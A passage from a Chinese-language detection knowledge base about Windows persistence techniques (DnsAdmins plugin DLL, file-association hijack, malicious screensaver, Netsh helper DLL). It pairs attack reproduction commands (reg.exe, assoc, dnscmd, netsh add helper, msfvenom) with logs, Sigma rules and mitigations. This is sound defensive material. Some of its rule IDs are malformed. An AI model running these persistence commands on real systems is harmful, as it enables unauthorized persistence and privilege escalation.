"HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process Name: C:\Windows\System32\dnscmd.exe Process Command Line: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\test.dll Creator Process Name: C:\Windows\System32\cmd.exe ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue TargetObject: HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll Details: \\192.168.0.149\dll\test.dll Image: C:\Windows\System32\dnscmd.exe User: LAB\DnsAdmin ``` 5. **清理(测试后)** - 删除注册表键: ```powershell Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll ``` - 重启DNS服务: ```powershell Restart-Service -Name DNS ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\dnscmd.exe Process Command Line: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\test.dll Creator Process Name: C:\Windows\System32\cmd.exe Subject User Name: DnsAdmin Subject Domain Name: LAB ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 1234 Image: C:\Windows\System32\dnscmd.exe CommandLine: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\test.dll ParentImage: C:\Windows\System32\cmd.exe User: LAB\DnsAdmin IntegrityLevel: High ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 1234 Image: C:\Windows\System32\dnscmd.exe TargetObject: HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll Details: \\192.168.0.149\dll\test.dll User: LAB\DnsAdmin ``` - **Sysmon日志(事件ID 3,远程DLL加载)**: ```plaintext EventID: 3 Image: C:\Windows\System32\svchost.exe DestinationIp: 192.168.0.149 DestinationPort: 445 Protocol: tcp User: NT AUTHORITY\SYSTEM ``` ## 检测规则/思路 **检测规则** 通过分析Windows安全日志和Sysmon日志,检测`dnscmd.exe`的异常使用及DNS服务注册表修改。以下是具体思路: 1. **日志分析**: - 监控事件ID 4688或Sysmon事件ID 1,检测`dnscmd.exe`执行,并检查命令行参数是否包含`/config`和`/serverlevelplugindll`。 - 监控Sysmon事件ID 13,检测`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll`的修改。 - 监控Sysmon事件ID 3,检测DNS服务器访问远程共享路径(如`\\192.168.0.149`)。 - 监控事件ID 4674,检测DnsAdmins组权限的使用。 2. **Sigma规则(DNS ServerLevelPluginDll安装)**: ```yaml title: DNS ServerLevelPluginDll安装检测 id: f63b56ee-3f79-4b8a-97fb-5c48007e8573 status: stable description: 检测通过dnscmd.exe注册DNS服务插件DLL的行为,可能用于持久化或权限提升 author: Florian Roth date: 2017/05/08 references: - https://attack.mitre.org/techniques/T1543/003/ - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83 - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd tags: - attack.persistence - attack.t1543.003 - attack.privilege_escalation - attack.t1112 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\dnscmd.exe' CommandLine|contains|all: - '/config' - '/serverlevelplugindll' condition: selection fields: - Image - CommandLine - ParentCommandLine - User falsepositives: - 合法DNS管理员配置DNS插件 level: high ``` 3. **Sigma规则(DNS注册表修改)**: ```yaml title: DNS服务注册表插件DLL修改 id: g78901234-abcd567890-xyz123456789 status: experimental description: 检测DNS服务注册表中ServerLevelPluginDll键的修改,可能与恶意DLL注册相关 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|endswith: '\Services\DNS\Parameters\ServerLevelPluginDll' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 合法DNS配置变更 level: high ``` 4. **SIEM规则**: - 检测`dnscmd.exe`使用及注册表修改。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 Image="*dnscmd.exe" CommandLine IN ("*/config*","*/serverlevelplugindll*")) OR (EventID=13 TargetObject="*Services\DNS\Parameters\ServerLevelPluginDll")) | stats count by Image, CommandLine, TargetObject, User, ComputerName ``` 5. **注册表监控**: - 检查DNS服务插件配置: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue ``` 6. **威胁情报整合**: - 检查DLL文件哈希或远程共享路径是否与已知恶意样本相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`dnscmd.exe`滥用需从权限管理、注册表保护和监控入手: 1. **限制DnsAdmins权限** - 最小化DnsAdmins组成员,仅授予必要用户: ```powershell Remove-ADGroupMember -Identity "DnsAdmins" -Members "UnnecessaryUser" ``` 2. **锁定注册表键** - 限制`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters`的写权限: ```powershell $acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -AclObject $acl ``` 3. **限制远程文件访问** - 禁用DNS服务器对非可信共享路径的访问: ```powershell New-NetFirewallRule -DisplayName "Block SMB Outbound" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Block ``` 4. **加强DNS服务安全** - 禁用不必要的DNS插件功能。 - 定期审计DNS服务配置: ```powershell Get-Service -Name DNS | Select-Object Status, StartType ``` 5. **日志和监控** - 启用Sysmon事件ID 1、13、3,检测`dnscmd.exe`执行和注册表修改。 - 配置SIEM监控DNS服务相关事件。 - 使用EDR工具检测DNS服务器异常行为。 6. **定期审计** - 检查DNS服务插件注册表键: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -ErrorAction SilentlyContinue ``` - 审计DnsAdmins组成员: ```powershell Get-ADGroupMember -Identity "DnsAdmins" ``` ## 参考推荐 - MITRE ATT&CK: T1543.003 - Dnscmd.exe LOLBAS - Sigma规则:DNS ServerLevelPluginDll - DnsAdmin提权分析 - Microsoft Dnscmd文档 ================================================ FILE: Windows/05持久化/T1546.001-Win-事件触发执行-更改默认文件关联.md ================================================ # T1546-001-Win-事件触发执行-更改默认文件关联 ## 描述 攻击者可能通过修改文件类型关联实现持久化执行恶意代码(T1546.001)。Windows通过文件扩展名关联默认程序(文件处理程序)来打开特定类型的文件,相关配置存储在Windows注册表中(如`HKEY_CLASSES_ROOT\.txt`)。用户或管理员可通过`assoc`命令或直接修改注册表更改文件关联,攻击者可利用此机制将恶意程序绑定到特定扩展名,当用户打开该类型文件时触发恶意命令。 攻击者通常修改注册表键(如`HKEY_CLASSES_ROOT\[handler]\shell\open\command`)以执行任意程序,结合伪装为合法文件类型(如`.txt`、`.hta`)提升隐蔽性。检测重点在于监控注册表中文件关联的异常修改及相关进程的启动行为。 ## 测试案例 1. **更改默认文件关联** 攻击者将`.hta`文件的默认处理程序从`htafile`更改为`txtfile`,导致`.hta`文件由`notepad.exe`而非`mshta.exe`打开。 2. **绑定恶意程序** 攻击者修改文件关联,使特定扩展名(如`.txt`)触发恶意可执行文件(如`malware.exe`)。 ### 示例命令 - **攻击命令**(需管理员权限): ```bash assoc .hta=txtfile ``` - 将`.hta`文件关联到`txtfile`处理程序(`notepad.exe`)。 - **清理命令**: ```bash assoc .hta=htafile ``` - 恢复`.hta`文件关联到原始处理程序(`mshta.exe`)。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`assoc.exe`或其他注册表编辑工具(如`reg.exe`)的进程创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`assoc.exe`或`reg.exe`的命令行参数。 - **事件ID 13**:记录注册表修改,如`HKEY_CLASSES_ROOT\.ext`或`HKEY_CLASSES_ROOT\[handler]\shell\open\command`的更改。 - **事件ID 7**:记录恶意程序加载的模块(如DLL)。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程和模块监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(修改文件关联需提升权限)。 - **工具**:`assoc.exe`(系统自带)、Sysmon、注册表编辑器(`regedit`)。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **确认原始关联** - 查看`.hta`文件的当前关联: ```cmd assoc .hta ``` 输出:`.hta=htafile` 2. **更改文件关联** - 将`.hta`关联到`txtfile`: ```cmd assoc .hta=txtfile ``` - 验证更改: ```cmd assoc .hta ``` 输出:`.hta=txtfile` 3. **触发文件关联** - 创建测试文件`test.hta`: ```html ``` - 双击`test.hta`,观察是否由`notepad.exe`而非`mshta.exe`打开。 4. **验证日志** - 检查Windows安全日志(事件ID 4688): ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "assoc.exe" } ``` - 检查Sysmon日志(事件ID 13): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "HKEY_CLASSES_ROOT" } ``` 5. **清理** - 恢复原始关联: ```cmd assoc .hta=htafile ``` - 删除测试文件: ```cmd del test.hta ``` ### 示例输出 ```cmd C:\Users\Administrator>assoc .hta=txtfile .hta=txtfile C:\Users\Administrator>assoc .hta .hta=txtfile C:\Users\Administrator>assoc .hta=htafile .hta=htafile ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4688)**: ```xml 4688 2 0 13312 0 0x8020000000000000 1234 Security WIN-TEST.contoso.local Administrator CONTOSO 0x1234 C:\Windows\System32\assoc.exe assoc .hta=txtfile C:\Windows\System32\cmd.exe ``` - **Sysmon日志(事件ID 13)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\assoc.exe TargetObject: HKLM\SOFTWARE\Classes\.hta Details: txtfile User: CONTOSO\Administrator ``` ## 检测规则/思路 **检测规则** 通过监控注册表修改和进程创建日志,检测文件关联的异常更改及相关恶意行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKEY_CLASSES_ROOT\.ext`或`HKEY_CLASSES_ROOT\[handler]\shell\open\command`的修改。 - 监控事件ID 4688或Sysmon事件ID 1,检测`assoc.exe`或`reg.exe`的异常执行。 - 监控Sysmon事件ID 1,检测文件打开触发的异常进程(如`notepad.exe`打开`.hta`)。 - 检查进程调用树,识别由文件关联触发的可疑子进程。 2. **Sigma规则(文件关联修改)**: ```yaml title: 文件关联修改检测 id: h90123456-abcd789012-xyz345678901 status: stable description: 检测通过assoc.exe或注册表修改文件关联的潜在恶意行为 references: - https://attack.mitre.org/techniques/T1546/001/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.001/T1546.001.md tags: - attack.persistence - attack.t1546.001 logsource: category: process_creation product: windows detection: selection_assoc: Image|endswith: '\assoc.exe' CommandLine|contains: '=' selection_reg: Image|endswith: '\reg.exe' CommandLine|contains: - 'HKEY_CLASSES_ROOT' - 'shell\open\command' condition: selection_assoc or selection_reg fields: - Image - CommandLine - ParentCommandLine - User falsepositives: - 合法管理员更改文件关联 - 软件安装更新文件处理程序 level: medium ``` 3. **Sigma规则(注册表文件关联修改)**: ```yaml title: 文件关联注册表修改检测 id: i01234567-abcd890123-abc456789012 status: experimental description: 检测HKEY_CLASSES_ROOT下文件关联注册表键的异常修改 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: - '\Software\Classes\.' - '\shell\open\command' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 合法软件安装或更新 level: high ``` 4. **SIEM规则**: - 检测文件关联修改及相关进程。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 Image IN ("*assoc.exe","*reg.exe") CommandLine IN ("*=*","*HKEY_CLASSES_ROOT*")) OR (EventID=13 TargetObject IN ("*Software\Classes\*","*shell\open\command*"))) | stats count by Image, CommandLine, TargetObject, User, ComputerName ``` 5. **注册表监控**: - 检查用户文件关联: ```powershell Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta" ``` - 检查系统文件关联: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\.hta" ``` 6. **威胁情报整合**: - 检查关联的命令行程序(如`malware.exe`)或注册表值的哈希,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御文件关联攻击需从注册表保护、权限管理和监控入手: 1. **限制注册表访问** - 锁定`HKEY_CLASSES_ROOT`的写权限: ```powershell $acl = Get-Acl "HKLM:\SOFTWARE\Classes" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SOFTWARE\Classes" -AclObject $acl ``` 2. **限制assoc命令使用** - 使用AppLocker限制非管理员执行`assoc.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\assoc.exe" -Action Deny -User "Everyone" ``` 3. **白名单文件关联** - 定期审计文件关联,确保仅允许可信处理程序: ```powershell assoc | Select-String ".hta|.txt|.exe" ``` 4. **加强用户权限管理** - 限制用户修改文件关联的权限,仅允许管理员操作: ```powershell icacls "C:\Windows\System32\assoc.exe" /deny "Users:(X)" ``` 5. **日志和监控** - 启用Sysmon事件ID 13,检测文件关联注册表修改。 - 配置SIEM监控`assoc.exe`和`reg.exe`的异常使用。 - 使用EDR工具检测异常文件打开行为。 6. **定期审计** - 检查文件关联配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\.hta" | Select-Object "(default)" ``` - 审计用户文件关联: ```powershell Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" ``` ## 参考推荐 - MITRE ATT&CK: T1546.001 - Atomic Red Team: T1546.001 ================================================ FILE: Windows/05持久化/T1546.002-Win-事件触发执行-屏幕保护程序.md ================================================ # T1546-002-Win-事件触发执行-屏幕保护程序 ## 描述 攻击者可能通过修改屏幕保护程序设置实现持久化执行恶意代码(T1546.002)。Windows屏幕保护程序是在用户不活动一段时间后自动运行的可执行文件(扩展名为`.scr`,本质为PE文件),默认由`scrnsave.scr`控制,位于`C:\Windows\System32\`(32位)或`C:\Windows\SysWOW64\`(64位)。屏幕保护程序配置存储在注册表`HKCU\Control Panel\Desktop\`中,攻击者可通过修改相关键值(如`SCRNSAVE.EXE`)将恶意PE文件设置为屏幕保护程序,从而在用户不活动时触发。 攻击者通常结合低超时时间(如60秒)和禁用密码保护(`ScreenSaverIsSecure=0`)以确保恶意代码频繁执行。屏幕保护程序的触发机制隐蔽性较高,易伪装为合法系统行为。检测重点在于监控注册表修改、`.scr`文件的异常执行及相关进程行为。 ## 测试案例 1. **设置恶意二进制为屏幕保护程序** 攻击者将恶意PE文件(如`cmd.exe`)复制为`.scr`文件,并通过注册表配置为屏幕保护程序,在用户不活动后执行。 2. **伪装合法屏幕保护程序** 攻击者使用看似正常的`.scr`文件名(如`evilscreensaver.scr`),结合短超时时间,隐藏恶意行为。 ### 示例命令 - **攻击命令**(需管理员权限): ```cmd copy C:\Windows\System32\cmd.exe "%SystemRoot%\System32\evilscreensaver.scr" reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f shutdown /r /t 0 ``` - **用例**:将`cmd.exe`复制为`evilscreensaver.scr`,设置为屏幕保护程序,60秒后触发,无需密码解锁,系统重启后生效。 - **输入参数**:`input_binary=C:\Windows\System32\cmd.exe`。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`reg.exe`或其他注册表修改工具的进程创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`reg.exe`或`.scr`文件的执行信息。 - **事件ID 13**:记录注册表修改,如`HKCU\Control Panel\Desktop\SCRNSAVE.EXE`的更改。 - **事件ID 7**:记录`.scr`文件加载的模块(如DLL)。 - **事件ID 11**:记录`.scr`文件的创建或写入(如`evilscreensaver.scr`)。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程和文件监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(修改注册表和System32目录需提升权限)。 - **工具**:`reg.exe`(系统自带)、Sysmon、测试用PE文件(如`cmd.exe`)。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **复制恶意二进制** - 将`cmd.exe`复制为屏幕保护程序: ```cmd copy C:\Windows\System32\cmd.exe "%SystemRoot%\System32\evilscreensaver.scr" ``` 2. **配置屏幕保护程序** - 启用屏幕保护程序: ```cmd reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f ``` - 设置超时时间(60秒): ```cmd reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f ``` - 禁用密码保护: ```cmd reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f ``` - 设置恶意`.scr`路径: ```cmd reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f ``` 3. **触发持久化** - 重启系统: ```cmd shutdown /r /t 0 ``` - 等待60秒,观察`evilscreensaver.scr`(即`cmd.exe`)是否执行。 4. **验证结果** - 检查注册表: ```powershell Get-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name SCRNSAVE.EXE ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "reg.exe" } ``` - **Sysmon日志(事件ID 13)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "SCRNSAVE.EXE" } ``` 5. **清理** - 删除恶意`.scr`文件: ```cmd del "%SystemRoot%\System32\evilscreensaver.scr" ``` - 恢复注册表: ```cmd reg.exe delete "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 0 /f ``` ### 示例输出 ```cmd copy C:\Windows\System32\cmd.exe "%SystemRoot%\System32\evilscreensaver.scr" 1 file(s) copied. reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f The operation completed successfully. reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f The operation completed successfully. reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f The operation completed successfully. reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f The operation completed successfully. shutdown /r /t 0 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 5496 Image: C:\Windows\System32\reg.exe CommandLine: reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\System32\evilscreensaver.scr" /f ParentImage: C:\Windows\System32\cmd.exe ParentProcessId: 5028 User: CONTOSO\Administrator IntegrityLevel: High Hashes: SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF ``` - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\reg.exe TargetObject: HKCU\Control Panel\Desktop\SCRNSAVE.EXE Details: C:\Windows\System32\evilscreensaver.scr User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 11,文件创建)**: ```plaintext EventID: 11 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\cmd.exe TargetFilename: C:\Windows\System32\evilscreensaver.scr User: CONTOSO\Administrator ``` ## 检测规则/思路 **检测规则** 通过监控注册表修改、文件创建和进程执行日志,检测屏幕保护程序的异常配置及恶意行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKCU\Control Panel\Desktop`下屏幕保护程序键(如`SCRNSAVE.EXE`、`ScreenSaveTimeout`)的修改。 - 监控Sysmon事件ID 1,检测`reg.exe`或`.scr`文件的执行,特别是异常路径的`.scr`文件。 - 监控Sysmon事件ID 11,检测`System32`或`SysWOW64`目录中新增的`.scr`文件。 - 监控Windows安全日志事件ID 4688,检测`reg.exe`或`copy`命令的异常使用。 - 检查`.scr`文件的执行时间,识别非用户交互触发的运行。 2. **Sigma规则(屏幕保护程序注册表修改)**: ```yaml title: 屏幕保护程序注册表修改检测 id: j12345678-abcd901234-xyz567890123 status: stable description: 检测屏幕保护程序配置的注册表修改,可能用于持久化恶意代码 references: - https://attack.mitre.org/techniques/T1546/002/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.002/T1546.002.md tags: - attack.persistence - attack.t1546.002 - attack.t1112 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: - '\Control Panel\Desktop\SCRNSAVE.EXE' - '\Control Panel\Desktop\ScreenSaveActive' - '\Control Panel\Desktop\ScreenSaveTimeout' - '\Control Panel\Desktop\ScreenSaverIsSecure' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 用户手动更改屏幕保护程序设置 - 合法系统管理脚本 level: high ``` 3. **Sigma规则(屏幕保护程序进程执行)**: ```yaml title: 异常屏幕保护程序进程执行 id: k23456789-abcd012345-abc678901234 status: experimental description: 检测异常路径或非标准屏幕保护程序的进程执行 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '.scr' Image|contains: '\System32\' filter: Image|endswith: - '\scrnsave.scr' - '\logon.scr' - '\mystify.scr' - '\ribbons.scr' - '\bubbles.scr' - '\ssText3d.scr' condition: selection and not filter fields: - Image - CommandLine - ParentImage - User falsepositives: - 第三方合法屏幕保护程序 level: high ``` 4. **SIEM规则**: - 检测屏幕保护程序配置及执行。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject IN ("*Control Panel\Desktop\SCRNSAVE.EXE*","*Control Panel\Desktop\ScreenSaveActive*","*Control Panel\Desktop\ScreenSaveTimeout*","*Control Panel\Desktop\ScreenSaverIsSecure*")) OR (EventID=1 Image="*.scr" NOT Image IN ("*scrnsave.scr","*logon.scr","*mystify.scr","*ribbons.scr","*bubbles.scr","*ssText3d.scr")) OR (EventID=11 TargetFilename="*.scr")) | stats count by Image, CommandLine, TargetObject, User, ComputerName ``` 5. **注册表监控**: - 检查屏幕保护程序配置: ```powershell Get-ItemProperty -Path "HKCU:\Control Panel\Desktop" | Select-Object SCRNSAVE.EXE, ScreenSaveActive, ScreenSaveTimeout, ScreenSaverIsSecure ``` 6. **工具支持**: - 使用Sysinternals Autoruns检查屏幕保护程序注册表键: ```cmd autoruns -a | findstr "SCRNSAVE.EXE" ``` - 使用Process Monitor捕获实时注册表和文件活动。 7. **威胁情报整合**: - 检查`.scr`文件哈希或注册表路径是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御屏幕保护程序攻击需从注册表保护、文件监控和权限管理入手: 1. **锁定注册表键** - 限制`HKCU\Control Panel\Desktop`的写权限: ```powershell $acl = Get-Acl "HKCU:\Control Panel\Desktop" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKCU:\Control Panel\Desktop" -AclObject $acl ``` 2. **限制.scr文件执行** - 使用AppLocker限制非标准`.scr`文件的运行: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\*.scr" -Action Allow -User "Everyone" ``` 3. **白名单屏幕保护程序** - 仅允许系统默认屏幕保护程序: ```powershell Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name SCRNSAVE.EXE -Value "C:\Windows\System32\scrnsave.scr" ``` 4. **禁用屏幕保护程序** - 在非必要场景禁用屏幕保护程序: ```powershell Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name ScreenSaveActive -Value 0 ``` 5. **加强权限管理** - 限制非管理员用户修改System32目录: ```powershell icacls "C:\Windows\System32" /deny "Users:(W)" ``` 6. **日志和监控** - 启用Sysmon事件ID 1、11、13,检测`.scr`文件创建和注册表修改。 - 配置SIEM监控屏幕保护程序相关事件。 - 使用EDR工具检测异常`.scr`执行。 7. **定期审计** - 检查屏幕保护程序配置: ```powershell Get-ItemProperty -Path "HKCU:\Control Panel\Desktop" | Select-Object SCRNSAVE.EXE ``` - 审计System32目录中的`.scr`文件: ```powershell Get-ChildItem -Path "C:\Windows\System32" -Filter "*.scr" ``` ## 参考推荐 - MITRE ATT&CK: T1546.002 - Atomic Red Team: T1546.002 ================================================ FILE: Windows/05持久化/T1546.007-Win-通过netsh key持久化.md ================================================ # T1546-007-Win-通过Netsh Helper DLL持久化 ## 描述 攻击者可能通过注册Netsh Helper DLL实现持久化执行恶意代码(T1546.007)。`Netsh.exe`是Windows提供的命令行工具,用于配置和监控网络设置(如接口、防火墙、路由)。Netsh通过加载Helper DLL(动态链接库)扩展功能,这些DLL存储在注册表`HKLM\SOFTWARE\Microsoft\Netsh`中,定义了特定Netsh命令(如`interface`、`firewall`)的处理程序。 攻击者可通过添加恶意DLL到Netsh Helper注册表键,使其在`netsh.exe`执行特定命令时加载,触发任意代码执行。由于`netsh.exe`可能由系统进程、第三方软件(如VPN)或管理员操作触发,攻击行为隐蔽性较高。检测重点在于监控Netsh注册表键的修改、异常DLL加载及`netsh.exe`的命令行活动。 ## 测试案例 1. **注册恶意Netsh Helper DLL** 攻击者将恶意DLL注册为Netsh Helper,在执行`netsh`命令(如`netsh interface show interface`)时触发。 2. **结合其他持久化技术** 攻击者通过计划任务或服务定期运行`netsh.exe`,确保恶意DLL持续执行。 ### 示例命令 - **注册恶意DLL**(需管理员权限): ```cmd netsh add helper C:\Windows\System32\malicious.dll ``` - 将`malicious.dll`注册到`HKLM\SOFTWARE\Microsoft\Netsh`。 - **触发执行**: ```cmd netsh interface show interface ``` - 运行Netsh命令,加载注册的DLL。 参考测试案例:[Window权限维持(十):Netsh Helper DLL](https://www.cnblogs.com/xiaozi/p/11834533.html) ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`netsh.exe`或`reg.exe`的进程创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`netsh.exe`的命令行参数。 - **事件ID 7**:记录DLL加载,检测`netsh.exe`加载的异常DLL。 - **事件ID 13**:记录注册表修改,如`HKLM\SOFTWARE\Microsoft\Netsh`的更改。 - **事件ID 11**:记录DLL文件的创建或写入。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程和模块监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(修改注册表和执行`netsh`需提升权限)。 - **工具**:`netsh.exe`(系统自带)、测试用DLL(模拟恶意DLL)、Sysmon。 - **测试DLL**:创建简单DLL(或使用`msfvenom`生成): ```bash msfvenom -p windows/x64/messagebox TEXT="Netsh Helper DLL" -f dll -o malicious.dll ``` - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **部署恶意DLL** - 将测试DLL复制到`C:\Windows\System32\`: ```cmd copy malicious.dll 